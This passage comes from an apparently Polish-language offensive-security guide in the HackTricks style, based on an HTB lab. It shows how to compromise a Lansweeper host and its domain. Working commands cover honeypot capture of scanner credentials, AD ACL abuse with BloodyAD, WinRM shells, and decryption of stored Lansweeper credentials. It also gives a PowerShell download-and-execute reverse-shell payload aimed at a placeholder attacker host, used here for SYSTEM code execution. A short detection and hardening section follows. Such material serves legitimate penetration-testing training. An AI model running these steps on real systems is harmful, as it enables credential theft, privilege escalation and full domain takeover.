||||
# sshesame.conf
|
||||
server:
|
||||
listen_address: 10.10.14.79:2022
|
||||
```
|
||||
|
||||
```bash
|
||||
# Install and run
|
||||
sudo apt install -y sshesame
|
||||
sshesame --config sshesame.conf
|
||||
# Expect client banner similar to RebexSSH and cleartext creds
|
||||
# authentication for user "svc_inventory_lnx" with password "<password>" accepted
|
||||
# connection with client version "SSH-2.0-RebexSSH_5.0.x" established
|
||||
```
|
||||
Zweryfikuj captured creds względem usług DC:
|
||||
```bash
|
||||
# SMB/LDAP/WinRM checks (NetExec)
|
||||
netexec smb inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Notes
|
||||
- Działa podobnie dla innych protokołów, gdy możesz zmusić skaner do połączenia z twoim listenerem (SMB/WinRM honeypots, etc.). SSH jest często najprostszy.
|
||||
- Wiele skanerów identyfikuje się przez charakterystyczne bannery klienta (e.g., RebexSSH) i spróbuje wykonać nieszkodliwe polecenia (uname, whoami, etc.).
|
||||
|
||||
## 2) AD ACL abuse: uzyskaj zdalny dostęp, dodając siebie do grupy app-admin
|
||||
|
||||
Use BloodHound to enumerate effective rights from the compromised account. A common finding is a scanner- or app-specific group (e.g., “Lansweeper Discovery”) holding GenericAll over a privileged group (e.g., “Lansweeper Admins”). If the privileged group is also member of “Remote Management Users”, WinRM becomes available once we add ourselves.
|
||||
|
||||
Przykłady zbierania:
|
||||
```bash
|
||||
# NetExec collection with LDAP
|
||||
netexec ldap inventory.sweep.vl -u svc_inventory_lnx -p '<password>' --bloodhound -c All --dns-server <DC_IP>
|
||||
|
||||
# RustHound-CE collection (zip for BH CE import)
|
||||
rusthound-ce --domain sweep.vl -u svc_inventory_lnx -p '<password>' -c All --zip
|
||||
```
|
||||
Exploit GenericAll na grupie przy użyciu BloodyAD (Linux):
|
||||
```bash
|
||||
# Add our user into the target group
|
||||
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '<password>' \
|
||||
add groupMember "Lansweeper Admins" svc_inventory_lnx
|
||||
|
||||
# Confirm WinRM access if the group grants it
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Następnie uzyskaj interaktywną powłokę:
|
||||
```bash
|
||||
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '<password>'
|
||||
```
|
||||
Wskazówka: operacje Kerberos są zależne od czasu. Jeżeli natrafisz na KRB_AP_ERR_SKEW, najpierw zsynchronizuj czas z DC:
|
||||
```bash
|
||||
sudo ntpdate <dc-fqdn-or-ip> # or rdate -n <dc-ip>
|
||||
```
|
||||
## 3) Odszyfruj sekrety skonfigurowane przez Lansweeper na hoście
|
||||
|
||||
Na serwerze Lansweeper witryna ASP.NET zazwyczaj przechowuje zaszyfrowany connection string oraz klucz symetryczny używany przez aplikację. Mając odpowiedni dostęp lokalny, możesz odszyfrować ciąg połączenia do bazy danych i następnie wyodrębnić przechowywane poświadczenia skanowania.
|
||||
|
||||
Typowe lokalizacje:
|
||||
- Plik web.config: `C:\Program Files (x86)\Lansweeper\Website\web.config`
|
||||
- `<connectionStrings configProtectionProvider="DataProtectionConfigurationProvider">` … `<EncryptedData>…`
|
||||
- Klucz aplikacji: `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`
|
||||
|
||||
Użyj SharpLansweeperDecrypt, aby zautomatyzować odszyfrowywanie i zrzut przechowywanych poświadczeń:
|
||||
```powershell
|
||||
# From a WinRM session or interactive shell on the Lansweeper host
|
||||
# PowerShell variant
|
||||
Upload-File .\LansweeperDecrypt.ps1 C:\ProgramData\LansweeperDecrypt.ps1 # depending on your shell
|
||||
powershell -ExecutionPolicy Bypass -File C:\ProgramData\LansweeperDecrypt.ps1
|
||||
# Tool will:
|
||||
# - Decrypt connectionStrings from web.config
|
||||
# - Connect to Lansweeper DB
|
||||
# - Decrypt stored scanning credentials and print them in cleartext
|
||||
```
|
||||
W oczekiwanym wyniku znajdują się szczegóły połączenia z DB oraz jawne dane uwierzytelniające skanowania, takie jak konta Windows i Linux używane w całym środowisku. Często mają one podwyższone lokalne uprawnienia na hostach domenowych:
|
||||
```text
|
||||
Inventory Windows SWEEP\svc_inventory_win <StrongPassword!>
|
||||
Inventory Linux svc_inventory_lnx <StrongPassword!>
|
||||
```
|
||||
Wykorzystaj odzyskane poświadczenia skanowania Windows do uzyskania dostępu uprzywilejowanego:
|
||||
```bash
|
||||
netexec winrm inventory.sweep.vl -u svc_inventory_win -p '<StrongPassword!>'
|
||||
# Typically local admin on the Lansweeper-managed host; often Administrators on DCs/servers
|
||||
```
|
||||
## 4) Lansweeper Deployment → SYSTEM RCE
|
||||
|
||||
Jako członek grupy “Lansweeper Admins”, interfejs webowy udostępnia zakładki Deployment i Configuration. W sekcji Deployment → Deployment packages możesz tworzyć pakiety, które uruchamiają dowolne polecenia na wybranych zasobach. Wykonanie odbywa się przez usługę Lansweeper z wysokimi uprawnieniami, co daje wykonanie kodu jako NT AUTHORITY\SYSTEM na wybranym hoście.
|
||||
|
||||
Główne kroki:
|
||||
- Utwórz nowy pakiet Deployment, który uruchamia jednowierszowy skrypt PowerShell lub cmd (reverse shell, add-user, itp.).
|
||||
- Wskaż docelowy zasób (np. DC/host, na którym działa Lansweeper) i kliknij Deploy/Run now.
|
||||
- Przechwyć swój shell jako SYSTEM.
|
||||
|
||||
Przykładowe payloady (PowerShell):
|
||||
```powershell
|
||||
# Simple test
|
||||
powershell -nop -w hidden -c "whoami > C:\Windows\Temp\ls_whoami.txt"
|
||||
|
||||
# Reverse shell example (adapt to your listener)
|
||||
powershell -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://<attacker>/rs.ps1')"
|
||||
```
|
||||
OPSEC
|
||||
- Akcje wdrożeniowe są głośne i zostawiają logi w Lansweeper i dziennikach zdarzeń Windows. Używaj rozważnie.
|
||||
|
||||
## Wykrywanie i wzmacnianie zabezpieczeń
|
||||
|
||||
- Ogranicz lub usuń anonimowe enumeracje SMB. Monitoruj RID cycling i anomalny dostęp do udziałów Lansweeper.
|
||||
- Kontrole ruchu wychodzącego: zablokuj lub ściśle ogranicz outbound SSH/SMB/WinRM z hostów skanujących. Alarmuj na niestandardowe porty (np. 2022) i nietypowe banery klientów, takie jak Rebex.
|
||||
- Chroń `Website\\web.config` i `Key\\Encryption.txt`. Wyodrębnij sekrety do vault i rotuj je po ujawnieniu. Rozważ konta serwisowe z minimalnymi uprawnieniami oraz gMSA tam, gdzie to możliwe.
|
||||
- Monitorowanie AD: alarmuj o zmianach w grupach powiązanych z Lansweeper (np. “Lansweeper Admins”, “Remote Management Users”) oraz o zmianach ACL przyznających GenericAll/Write dla grup uprzywilejowanych.
|
||||
- Audytuj tworzenie/zmiany/wykonywanie pakietów Deployment; alarmuj na pakiety uruchamiające cmd.exe/powershell.exe lub niespodziewane połączenia wychodzące.
|
||||
|
||||
## Powiązane tematy
|
||||
- SMB/LSA/SAMR enumeration and RID cycling
|
||||
- Kerberos password spraying and clock skew considerations
|
||||
- BloodHound path analysis of application-admin groups
|
||||
- WinRM usage and lateral movement
|
||||
|
||||
## Referencje
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
|
||||
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
|
||||
- [BloodyAD](https://github.com/CravateRouge/bloodyAD)
|
||||
- [BloodHound CE](https://github.com/SpecterOps/BloodHound)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
Loading…
x
Reference in New Issue
Block a user